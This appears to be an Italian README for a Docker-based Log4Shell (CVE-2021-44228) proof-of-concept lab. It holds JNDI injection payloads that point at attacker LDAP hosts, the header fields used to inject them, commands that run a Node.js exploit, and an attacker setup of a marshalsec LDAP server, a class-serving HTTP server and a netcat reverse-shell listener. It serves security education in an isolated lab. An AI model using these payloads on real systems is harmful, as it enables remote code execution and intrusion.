
PoC di CVE-2021-44228
AVVISO
Questo laboratorio è stato creato esclusivamente per scopi educativi e di ricerca sulla sicurezza. Tutto il traffico avviene all'interno di una rete Docker isolata. Non utilizzare questo materiale su sistemi reali o senza autorizzazione esplicita. L'uso improprio può costituire reato. Usa con responsabilità.
La Log4Shell è una vulnerabilità critica (CVSS 10.0) scoperta a dicembre 2021 nella libreria di logging Apache Log4j 2, ampiamente utilizzata nelle applicazioni Java.
Log4j ha una funzionalità di interpolazione delle espressioni: quando registra un messaggio, valuta le stringhe nel formato ${...}. Ad esempio, ${java:version} viene sostituito dalla versione di Java in esecuzione.
Il problema risiede nel supporto al protocollo JNDI (Java Naming and Directory Interface). Quando Log4j incontra un'espressione come:
${jndi:ldap://atacante.com/exploit}
istruisce la JVM a effettuare una richiesta LDAP al server dell'attaccante. Il server risponde con un riferimento a una classe Java remota — e la JVM scarica e esegue quella classe, risultando in Remote Code Execution (RCE).
Il vettore d'attacco è semplice: qualsiasi campo registrato dal server (header HTTP, campi di modulo, cookie, ecc.) può essere il punto di ingresso del payload.
2.0-beta9 a 2.14.12.15.0 (e definitivamente in 2.17.0)Il laboratorio simula un'applicazione Java reale utilizzando le versioni vulnerabili.
GET http://localhost:8080/log
I seguenti header vengono registrati direttamente da Log4j — ognuno di essi può essere il vettore di iniezione:
X-Api-VersionUser-AgentX-Auth-Tokenattacker)docker-compose up --build
Attendi fino a vedere nei log:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
In un altro terminale, esegui l'exploit Node.js:
node exploit/exploit.js
Output previsto:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
Osserva il terminale dove docker-compose è in esecuzione. Nei log del container attacker vedrai la connessione della reverse shell arrivare sulla porta 9001.
Per confermare touch /tmp/pwned all'interno dell'app vulnerabile:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
Di Guaxinim | Ricerca sulla Sicurezza Informatica
| Componente | Versione | Perché è vulnerabile |
|---|
| Apache Log4j | 2.14.1 | Valuta ${jndi:...} senza restrizioni |
| JDK | 1.8.0_181 | Precedente alla patch 8u191 che imposta trustURLCodebase=false |
| Spring Boot | 2.5.6 | Solo il framework web; la vulnerabilità è di Log4j |
| Servizio | Porta | Funzione |
|---|
| marshalsec (LDAP) | 1389 | Riceve il lookup JNDI e reindirizza al server HTTP |
| Python HTTP server | 8888 | Serve il Exploit.class alla JVM della vittima |
| netcat listener | 9001 | Riceve la connessione della reverse shell |